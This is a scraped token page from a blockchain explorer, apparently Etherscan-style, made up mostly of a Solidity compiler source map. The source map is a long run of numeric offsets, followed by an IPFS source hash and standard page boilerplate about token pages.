;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1631:456::-;1708:6;1716;1724;1777:2;1765:9;1756:7;1752:23;1748:32;1745:52;;;1793:1;1790;1783:12;1745:52;1832:9;1819:23;1851:31;1876:5;1851:31;:::i;:::-;1901:5;-1:-1:-1;1958:2:1;1943:18;;1930:32;1971:33;1930:32;1971:33;:::i;:::-;1631:456;;2023:7;;-1:-1:-1;;;2077:2:1;2062:18;;;;2049:32;;1631:456::o;2489:247::-;2548:6;2601:2;2589:9;2580:7;2576:23;2572:32;2569:52;;;2617:1;2614;2607:12;2569:52;2656:9;2643:23;2675:31;2700:5;2675:31;:::i;2741:388::-;2809:6;2817;2870:2;2858:9;2849:7;2845:23;2841:32;2838:52;;;2886:1;2883;2876:12;2838:52;2925:9;2912:23;2944:31;2969:5;2944:31;:::i;:::-;2994:5;-1:-1:-1;3051:2:1;3036:18;;3023:32;3064:33;3023:32;3064:33;:::i;:::-;3116:7;3106:17;;;2741:388;;;;;:::o;3134:127::-;3195:10;3190:3;3186:20;3183:1;3176:31;3226:4;3223:1;3216:15;3250:4;3247:1;3240:15;3266:416;3355:1;3392:5;3355:1;3406:270;3427:7;3417:8;3414:21;3406:270;;;3486:4;3482:1;3478:6;3474:17;3468:4;3465:27;3462:53;;;3495:18;;:::i;:::-;3545:7;3535:8;3531:22;3528:55;;;3565:16;;;;3528:55;3644:22;;;;3604:15;;;;3406:270;;;3410:3;3266:416;;;;;:::o;3687:806::-;3736:5;3766:8;3756:80;;-1:-1:-1;3807:1:1;3821:5;;3756:80;3855:4;3845:76;;-1:-1:-1;3892:1:1;3906:5;;3845:76;3937:4;3955:1;3950:59;;;;4023:1;4018:130;;;;3930:218;;3950:59;3980:1;3971:10;;3994:5;;;4018:130;4055:3;4045:8;4042:17;4039:43;;;4062:18;;:::i;:::-;-1:-1:-1;;4118:1:1;4104:16;;4133:5;;3930:218;;4232:2;4222:8;4219:16;4213:3;4207:4;4204:13;4200:36;4194:2;4184:8;4181:16;4176:2;4170:4;4167:12;4163:35;4160:77;4157:159;;;-1:-1:-1;4269:19:1;;;4301:5;;4157:159;4348:34;4373:8;4367:4;4348:34;:::i;:::-;4418:6;4414:1;4410:6;4406:19;4397:7;4394:32;4391:58;;;4429:18;;:::i;:::-;4467:20;;3687:806;-1:-1:-1;;;3687:806:1:o;4498:140::-;4556:5;4585:47;4626:4;4616:8;4612:19;4606:4;4585:47;:::i;4643:168::-;4716:9;;;4747;;4764:15;;;4758:22;;4744:37;4734:71;;4785:18;;:::i;4816:356::-;5018:2;5000:21;;;5037:18;;;5030:30;5096:34;5091:2;5076:18;;5069:62;5163:2;5148:18;;4816:356::o;5529:251::-;5599:6;5652:2;5640:9;5631:7;5627:23;5623:32;5620:52;;;5668:1;5665;5658:12;5620:52;5700:9;5694:16;5719:31;5744:5;5719:31;:::i;6706:306::-;6794:6;6802;6810;6863:2;6851:9;6842:7;6838:23;6834:32;6831:52;;;6879:1;6876;6869:12;6831:52;6908:9;6902:16;6892:26;;6958:2;6947:9;6943:18;6937:25;6927:35;;7002:2;6991:9;6987:18;6981:25;6971:35;;6706:306;;;;;:::o;7296:277::-;7363:6;7416:2;7404:9;7395:7;7391:23;7387:32;7384:52;;;7432:1;7429;7422:12;7384:52;7464:9;7458:16;7517:5;7510:13;7503:21;7496:5;7493:32;7483:60;;7539:1;7536;7529:12;7578:400;7780:2;7762:21;;;7819:2;7799:18;;;7792:30;7858:34;7853:2;7838:18;;7831:62;-1:-1:-1;;;7924:2:1;7909:18;;7902:34;7968:3;7953:19;;7578:400::o;7983:398::-;8185:2;8167:21;;;8224:2;8204:18;;;8197:30;8263:34;8258:2;8243:18;;8236:62;-1:-1:-1;;;8329:2:1;8314:18;;8307:32;8371:3;8356:19;;7983:398::o;9960:125::-;10025:9;;;10046:10;;;10043:36;;;10059:18;;:::i;10445:135::-;10484:3;10505:17;;;10502:43;;10525:18;;:::i;:::-;-1:-1:-1;10572:1:1;10561:13;;10445:135::o;10585:128::-;10652:9;;;10673:11;;;10670:37;;;10687:18;;:::i;10850:127::-;10911:10;10906:3;10902:20;10899:1;10892:31;10942:4;10939:1;10932:15;10966:4;10963:1;10956:15;10982:980;11244:4;11292:3;11281:9;11277:19;11323:6;11312:9;11305:25;11349:2;11387:6;11382:2;11371:9;11367:18;11360:34;11430:3;11425:2;11414:9;11410:18;11403:31;11454:6;11489;11483:13;11520:6;11512;11505:22;11558:3;11547:9;11543:19;11536:26;;11597:2;11589:6;11585:15;11571:29;;11618:1;11628:195;11642:6;11639:1;11636:13;11628:195;;;11707:13;;-1:-1:-1;;;;;11703:39:1;11691:52;;11798:15;;;;11763:12;;;;11739:1;11657:9;11628:195;;;-1:-1:-1;;;;;;;11879:32:1;;;;11874:2;11859:18;;11852:60;-1:-1:-1;;;11943:3:1;11928:19;11921:35;11840:3;10982:980;-1:-1:-1;;;10982:980:1:o;11967:217::-;12007:1;12033;12023:132;;12077:10;12072:3;12068:20;12065:1;12058:31;12112:4;12109:1;12102:15;12140:4;12137:1;12130:15;12023:132;-1:-1:-1;12169:9:1;;11967:217::o

Swarm Source

ipfs://c26e106163be61ee5c7cd12a911aaa8512b0e10b71191fd7553488a662aa1135
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.